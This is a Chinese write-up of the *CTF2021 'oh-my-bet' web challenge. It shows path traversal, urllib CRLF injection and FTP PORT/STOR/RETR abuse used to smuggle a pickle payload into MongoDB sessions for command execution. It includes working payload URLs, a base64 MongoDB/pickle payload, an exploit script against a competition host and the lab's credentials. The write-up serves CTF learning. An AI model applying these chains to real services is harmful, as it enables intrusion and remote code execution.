*CTF2021 oh-my-bet

/ 0评 / 0

*CTF2021 oh-my-bet

这个题目是赛后出的,相比起另三个web题来说让我学到的东西更多一些。所以简单记录下
打开靶机是这样的界面

image-20210118221433757

简单测试后发现注册时候抓包就可以任意文件穿越读

image-20210118221537404

大概这样子,然后反复读就可以拿到全部源码了,这里不贴了

源码审计

主要讲几个点
utils.py

image-20210118221716761

这里其实很引人注意,猜测使用了urllib的某个漏洞。

CRLF

尝试发现使用了CVE-019-9740
https://bugs.python.org/issue30458#msg347282
大概意思是可以通过\r\n实现CRLF注入。测了一下确实可以
继续读源码,发现一个ftp服务器

0FDB4C52BCE454E308399D05D74E3E2F

尝试用ftp协议去链接,得到了回显

8B777BC3223AA14A73D24D10E5D2BDA8

FTP

继续读,在files里发现了config.json

{
  "secret_key":"f4545478ee86$%^&&%$#",
  "DEBUG": false,
  "SESSION_TYPE": "mongodb",
  "REMOTE_MONGO_IP": "172.20.0.5",
  "REMOTE_MONGO_PORT": 27017,
  "SESSION_MONGODB_DB": "admin",
  "SESSION_MONGODB_COLLECT": "sessions",
  "SESSION_PERMANENT": true,
  "SESSION_USE_SIGNER": false,
  "SESSION_KEY_PREFIX": "session:",
  "SQLALCHEMY_DATABASE_URI": "mysql+pymysql://root:starctf123456@172.20.0.3:3306/ctf?charset=utf8",
  "SQLALCHEMY_TRACK_MODIFICATIONS": true,
  "REDIS_URL": "redis://@172.20.0.4:6379/0"
  dict://172.20.0.4:6379/info
}

发现内网服务很多,有mysql,redis,mongodb。

Redis(失败)

一开始的思路是通过CRLF打redis反弹shell,但是题目hint给出了不需要攻击redis

FTP写文件

发现一道类似的题目
https://xuanxuanblingbling.github.io/ctf/web/2019/10/13/complex/
这个题目是通过攻击redis触发Pickle反序列化,从而执行任意命令,尝试了一番,本题目也是这样的一个思路,不同的是需要打mongodb
如何打?
我们现在知道的信息有

0.6 题目
0.5 Mongodb
0.4 Redis
0.3 MySQL
0.2 FTP
可以使用CRLF,可以出外网

FTP被动模式

队友想到一个思路,利用ftp服务器向内写文件,然后重定向到mongodb中,触发反序列化
现在难点在如何写文件
之后发现可以利用如下的payload触发ftp创建文件,但是不知道如何写入

http://127.0.0.1:8877/\r\nUSER fan\r\nPASS root\r\nCWD .\r\nTYPE I\r\nPASV\r\nSTOR ha1c9on\r\na

利用如下方式,可以成功在ftp上创建一个0字节的文件,但是无法写入文件内容,该方式采用了FTP的被动链接,也就是他开放一个socket端口,我们去连接,从而写入数据,但是有两个难点:
1.连接很快就断开了,如何保持服务一直运行
2.环境在内网,如何连接内网的端口
测试未果后去读了一下FTP的特性

FTP主动模式

【链接】深入理解FTP协议-luoxn28-博客园 https://www.cnblogs.com/luoxn28/p/5585458.html

096E334725FA2717DAE9CC1B0E445548

这里我们发现PORT这个命令很引人注意,是不是可以通过发送PORT命令达到伪造FTP请求到我们的VPS从而使用STOR命令写入文件呢?
这里构造出了

Payload1(失败/不稳定)
http://ip:8877/\r\nUSER fan\r\nPASS root\r\nCWD .\r\nTYPE I\r\nPORT xxx,xxx,xxx,xxx,7,208\r\nSTOR ha1c9on\r\n/

测试过程中,在本地完全可以实现这个,通过nc带入一个文件

image-20210118224232387

远程就会请求这个文件,从而把文件写入
但是打远程的过程中,似乎远程并没有执行PORT命令,我的VPS并不能收到请求,测试了半天未果,调试过程中发现其返回的是732456AA41A705E16E98D885B6127734
也就是ip错误。但是本地测试确实没问题。疑惑了很久
有位师傅去看了下ftp的python源码,查了资料,理解了这个过程

BFB5FE6E0C4E96DB23B668B807EDA01C

FTP本地会生成一个监听,如果从本地打就是127.0.0.1的接口,所以无法建立到远程,也就是说,如果从内网去访问的话,他在localhost上建立了端口,而我们传入的公网IP并不能满足这一点,而如果我们用公网IP访问FTP,他就会在0.0.0.0监听,这时候我们的请求才可以成功

image-20210118224810081

请求失败的是因为其监听建立在了127.0.0.1

18BEBFAF7BA28861444AABF69D21BB8A

成功的可以看到并不在127上
所以这也就可以说明白为什么访问172.20.0.2在转发到公网ip行不通的问题了。

Payload2

上面测试无果后,继续寻找思路,尝试FTP://能否利用CRLF执行命令。
惊喜的是,可以
我们可以构造如下payload来请求我们的VPS并写入文件!

ftp://fan:root\r\nCWD .\r\nTYPE I\r\nPORT xxx,xxxx,xxx,xx,7,208\r\nSTOR ha1c9on\r\n@172.20.0.2/

8B777BC3223AA14A73D24D10E5D2BDA8
image-20210118225252672

成功写入了!

MongoDB 反序列化

通过对ongodb的协议分析,我们可以构造出如下命令执行payload
/readflag >/tmp/flag 当然用pymongodb构造也可以,这里就不分析了

HgEAAHoAAAAAAAAA3QcAAAAAAAABsQAAAGRvY3VtZW50cwCjAAAAB19pZABgAuHfVOiCa1hXwXICaWQALQAAAHNlc3Npb246MTcwYzA2MGUtYTI1OC00MzBkLTgzZDMtMjMxYTI3NDhiYzNwAAV2YWwAOgAAAACAA2Nwb3NpeApzeXN0ZW0KcQBYGgAAAC9yZWFkZmxhZyA+IC90bXAvYWFhYWFhYWFhcQGFcQJScQMuCWV4cGlyYXRpb24A/NHor3cBAAAAAFcAAAACaW5zZXJ0AAkAAABzZXNzaW9ucwAIb3JkZXJlZAABA2xzaWQAHgAAAAVpZAAQAAAABMuWVy4mw045rDMXu79vXg4AAiRkYgAGAAAAYWRtaW4AAA==

image-20210118225536487

然后写入FTP中
nc 端口附带这个文件,然后远程ftp链接

"ftp://fan:root\r\nCWD .\r\nTYPE I\r\nPORT xx,xxx,xxx,xxx,7,208\r\nSTOR session\r\n@172.20.0.2:8877/"

上传成功后,mongodb默认没有验证,所以可以通过RETR 读入该文件并转发给MongoDB

"ftp://fan:root\r\nCWD .\r\nTYPE I\r\nPORT 172,20,0,5,7,25225\r\nRETR session\r\n@172.20.0.2:8877/"

即可写入session进去

FLAG

然后我们带着session去注册一个新用户,就会反序列化val里面的bson数据,如果远程500了,证明我们反序列化读取成功了,这时readflag就会写到tmp下
利用之前最开始的任意文件读,去读取该文件即flag

9DC8C9DCB57517110A736923103C3778

Exp

import requests
import random
import base64
import re
from urllib.parse import quote,unquote
str="abcdefghijklmnopqrstuvwxyz1234567890"
def getusername():
    return random.choice(str)+random.choice(str)+random.choice(str)+random.choice(str)+random.choice(str)+random.choice(str)+random.choice(str)+random.choice(str)+random.choice(str)+random.choice(str)+random.choice(str)+random.choice(str)
def getURL():
    url = "ftp://fan:root\r\nCWD .\r\nTYPE I\r\nPORT xxx,xxx,xxx,xx,7,208\r\nSTOR ha1ha1\r\n@172.20.0.2/"
    print(url)
    if re.match('.+:.+', url):
        pass
    else:
        url = '/'.join(['file:/', 123, 'static', 'img', 'avatar', url])
    #url = "ftp://fan:root@172.20.0.2:8877/ftp-server.py"
    return url
data = {
    "username":getusername(),
    "password":"ha1c9on",
    "avatar":getURL(),
    "submit":"Go"
}
url = "http://23.98.68.11:8088"
requestObj = requests.session()
requestObj.get(url)
a = requestObj.post(url+"/login",data=data)
print(re.findall(r'<img src=\"data:image/png;base64,(.*?)" class="img-thumbnail" width="40" height="40">',a.text)[0])
print(base64.b64decode(re.findall(r'<img src=\"data:image/png;base64,(.*?)" class="img-thumbnail" width="40" height="40">',a.text)[0]).decode())

总结

我这里简单分析了下此题目的主要思路,其实中途踩坑的过程中还是很艰辛的,踩坑的过程也让我学习到了很多,也感谢123qwer师傅的帮助,能让我更好的理解此题目的含义

晚上环境已经坏了好像

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注